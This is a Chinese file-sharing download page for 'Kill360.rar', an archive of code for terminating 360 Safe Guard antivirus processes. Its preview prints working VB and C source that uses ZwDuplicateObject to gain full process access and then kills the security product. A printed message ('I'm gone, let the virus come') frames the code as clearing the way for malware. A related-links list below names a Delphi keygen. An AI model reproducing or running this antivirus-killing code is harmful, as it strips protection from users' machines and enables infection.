Kill360.rar

  • r1_289376
    了解作者
  • 13KB
    文件大小
  • rar
    文件格式
  • 0
    收藏次数
  • VIP专享
    资源类型
  • 0
    下载次数
  • 2022-04-24 09:32
    上传日期
网上有c和VB的代码,故做了一个delphi的 结束360安全卫士进程delphi代码
Kill360.rar
  • Kill360
  • kill360.cfg
    434B
  • kill360.dof
    2KB
  • Kill 360Safe 完整版(VB版).txt
    2.1KB
  • kill360.exe
    17KB
  • kill360.~dpr
    1.8KB
  • kill360.dpr
    1.8KB
内容介绍
Kill 360Safe 完整版(VB版) Option Explicit Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long Private Declare Function ZwDuplicateObject _ Lib "NTDLL.DLL" (ByVal SourceProcessHandle As Long, _ ByVal SourceHandle As Long, _ ByVal TargetProcessHandle As Long, _ ByRef TargetHandle As Long, _ ByVal DesiredAccess As Long, _ ByVal HandleAttributes As Long, _ ByVal Options As Long) As Long Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long Function FcOpenProcess&(p&) Dim ProcessHandle As Long Dim Rtn As Long ProcessHandle = OpenProcess(&H400, 0, p) If ProcessHandle <> 0 Then Rtn = ZwDuplicateObject(-1, ProcessHandle, -1, VarPtr(ProcessHandle), &H1F0FFF, 0, 1) FcOpenProcess = ProcessHandle End If End Function Private Sub Command1_Click() Dim ProcessHandle As Long ProcessHandle = FcOpenProcess&(1884) TerminateProcess ProcessHandle, 0 End Sub 1884是进程PID ,使用的话需要完成进程到pid的转换! #include #include #include unsigned long getprocid(char *pn) { BOOL b; HANDLE hnd; PROCESSENTRY32 pe; hnd=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); pe.dwSize=sizeof(pe); b=Process32First(hnd,&pe); while(b) { if(strcmp(pn,pe.szExeFile)==0)return pe.th32ProcessID; b=Process32Next(hnd,&pe); } return 0; } int main() { HMODULE hNTDLL = GetModuleHandle("ntdll.dll"); void (WINAPI *ZwDuplicateObject) (DWORD,HANDLE,DWORD,PHANDLE,unsigned long,unsigned long,unsigned long); (FARPROC&)ZwDuplicateObject= GetProcAddress(hNTDLL,"ZwDuplicateObject"); DWORD pid=0; pid=getprocid("safeboxTray.exe"); if(pid==0) { printf("找不到360保险箱的进程ID"); } HANDLE ProcessHandle=OpenProcess(PROCESS_DUP_HANDLE,FALSE,pid); if(ProcessHandle != NULL) { ZwDuplicateObject(-1,ProcessHandle,-1,&ProcessHandle,2035711,0,1); TerminateProcess(ProcessHandle,0); printf("我走了,毒来吧\n"); return 1; } printf("升级了\n"); return 0; }
评论
    相关推荐
    • Delphi 报关
      Delphi 报关 Delphi 报关 Delphi 报关
    • Delphi 记事本
      个人用Delphi软件做的一个简单的记事本工具,希望对Delphi初学者有帮助
    • delphi 皮肤
      delphi 皮肤控件使用的 delphi 皮肤控件使用的 delphi 皮肤控件使用的
    • delphi mqtt
      delphi mqtt客户端。支持delphi7,有心跳处理,包括发布和订阅。连接emq测试过。
    • delphi 5.0
      delphi 5.0delphi 5.0delphi 5.0delphi 5.0
    • delphi10.2.3
      delphi10.2.3(keygen) delphi10.2.3(keygen) delphi10.2.3(keygen)
    • delphi AESDemo
      delphi AESDemo delphi AESDemo delphi AESDemo delphi AESDemo delphi AESDemo delphi AESDemodelphi AESDemo delphi AESDemodelphi AESDemodelphi AESDemo
    • 介绍DELPHI
      简单介绍delphi。供初学都更好的了解delphi
    • Delphi Fetion
      Delphi编写的给Fetion发送短信的程序,这个是Delphi7 +Indy9版本。
    • delphi hint
      delphi hint 在Delphi中每个组件几乎都具有Hint属性,但是他们只是在鼠标移动到该组件的时候才显示Hint内容。幸运的是,Delphi为我们提供了一个THintWindow组件,这样就不需要我们手工封装一个组件了。为了实现我们...